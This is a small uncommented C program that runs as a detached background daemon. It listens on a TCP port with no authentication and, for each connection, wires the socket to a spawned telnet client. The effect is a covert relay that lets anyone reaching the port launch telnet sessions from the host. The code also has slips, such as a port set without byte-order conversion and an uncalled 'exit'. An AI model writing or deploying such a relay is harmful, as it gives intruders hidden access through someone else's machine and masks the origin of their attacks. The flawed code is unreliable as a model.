
#include <sys/fcntl.h>
#include <stdio.h>
#include <ctype.h>
#include <sys/wait.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <signal.h>


FILE *errfd;

static int serfd;
struct sockaddr_in   addr;
char buffer[10][80];
int sockused[10];
int numports = 10;
int numproc=0;

died()
{
  numproc--;
  wait3(NULL,WNOHANG,NULL);
  signal(SIGCLD,died);
  return;
}

init_io()
{

  signal(SIGCLD,died);

  if ((serfd = socket(AF_INET,SOCK_STREAM,0)) <0 )
    return(1);


  addr.sin_family = AF_INET;
  addr.sin_addr.s_addr = INADDR_ANY;
  addr.sin_port = 6969;


  if (bind(serfd,(struct sockaddr *)&addr, sizeof(addr)))
  {
    fprintf(errfd,"ioinit  cannot bind socket\n");
    exit(1);
  }

  if (listen(serfd,5) == -1)
  {
    fprintf(errfd,"ioinit  cannot listen at socket\n");
    return(1);
  }

  return(0);
}


getconnect()
{
  int s,length;
  struct sockaddr_in address;

  while(1)
  {
    length= sizeof addr;
    while ((s= accept(serfd,&address,&length))<0);
    wait3(NULL,WNOHANG,NULL);
    if (fork() == 0) /* child */
    {
        system("date >>log");
        numproc++;
        dup2(s,0);
        dup2(s,1);
        dup2(s,2);
        close(s);
        system("exec telnet");
        kill(getpid(),SIGKILL);

        close(0);
        close(1);
        close(2);
        exit;
    }                /* end child */

    close(s);
    wait3(NULL,WNOHANG,NULL);
  }
}




main()
{
  int i;
  char temp[80],*term;
  int fd;

  for(i=0;i<36;i++) close(i);



  errfd=fopen("ERR","w");
  if(errfd==NULL) return(-1);
  setsid();
  if(fork()!=0) return(-1);
  init_io();
  getconnect();
}
